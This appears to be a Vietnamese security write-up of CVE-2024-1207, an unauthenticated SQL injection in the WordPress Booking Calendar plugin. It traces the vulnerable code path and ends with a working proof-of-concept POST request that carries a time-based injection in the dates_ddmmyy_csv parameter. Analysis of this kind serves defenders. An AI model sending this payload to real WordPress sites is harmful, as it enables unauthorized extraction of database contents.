Mô tả

Lỗ hổng Unauthenticated SQL Injection (CVE-2024-1207) ảnh hưởng đến plugin wordpress WP Booking Calendar phiên bản <= 9.9 thông qua tham số calendar_request_params[dates_ddmmyy_csv]. Điều này làm cho kẻ tấn công không xác thực có thể thêm các truy vấn SQL bổ sung vào các truy vấn hiện để trích xuất thông tin nhạy cảm từ cơ sở dữ liệu.

Phân tích

Ở bán vá 9.9.1 thực hiện validate dates_ddmmyy_csv từ strong thành csv_dates để khắc phục lỗ hổng.

Dựa vào bản vá thì ta thấy lỗi nằm ở hàm ajax_WPBC_AJX_BOOKING__CREATE. Hàm này được gọi trong action WPBC_AJX_BOOKING__CREATE.

Bên cạnh đó hàmwpbc_sanitize_params_in_arr kiểm tra  khi tham số validdate => strong sẽ gọi hàm wpbc_sanitize_text_strong thực hiện  stripslashes() giá trị nhập vào.

Mặc định WordPress khi đăng ký một hook action sẽ thực hiện áp dụng addslashes() cho các giá trị của tham số nhập vào để đảm bảo an toàn khi sử dụng trong câu lệnh SQL.

Như vậy với việc khai báo  validdate => strong thì sẽ vô hiệu hóa áp dụng addslashes() mặc định của WordPress => dễ dẫn đến lỗi SQL Injection.

Trong hàm ajax_WPBC_AJX_BOOKING__CREATE, tại dòng 61 sẽ gọi đến hàm get_sanitized__in_request__value_or_default -> wpbc_sanitize_params_in_arr

Sau khi xử lý giá trị người dùng nhập vào sẽ gọi hàm wpbc_booking_save để kiểm tra và thêm mới booking calendar

Trong hàm wpbc_booking_save tại dòng 280 xử lý giá trị của tham số calendar_request_params[dates_ddmmyy_csv], gán vào biến $local_params[‘dates_only_sql_arr’] và gọi đến hàm wpbc__where_to_save_booking

Tiếp tục gọi đến hàm wpbc_get_availability_per_days_arr -> wpbc_get__booked_dates__per_resources__arr và gán tham số Array[dates_to_check] = $local_params['dates_only_sql_arr']

Sau đó sẽ gọi đến các hàm wpbc__sql__get_booking_dates -> wpbc_get__sql_where__for__dates và thực hiện gán trực tiếp giá trị $params['dates_to_check'][$i] vào trong câu truy vấn SQL.

POC

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 635
Connection: close

action=WPBC_AJX_BOOKING__CREATE&wpbc_ajx_user_id=0&nonce=17920ccd94&wpbc_ajx_locale=en_US&calendar_request_params%5Bresource_id%5D=1&calendar_request_params%5Bformdata%5D=select-one%5Erangetime1%5E09%3A00+-+10%3A00~text%5Ename1%5EA~text%5Esecondname1%5EA~email%5Eemail1%5EA%40A.COM~text%5Ephone1%5E~textarea%5Edetails1%5E&calendar_request_params%5Bbooking_hash%5D=&calendar_request_params%5Bcustom_form%5D=&calendar_request_params%5Baggregate_resource_id_arr%5D=&calendar_request_params%5Bis_emails_send%5D=1&calendar_request_params%5Bactive_locale%5D=en_US&calendar_request_params%5Bdates_ddmmyy_csv%5D=17'))) and sleep(2)-- -.03.2024

 

 

Tham khảo

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/booking/booking-calendar-99-unauthenticated-sql-injection

https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3032596%40booking&new=3032596%40booking&sfp_email=&sfph_mail=

 

249 lượt xem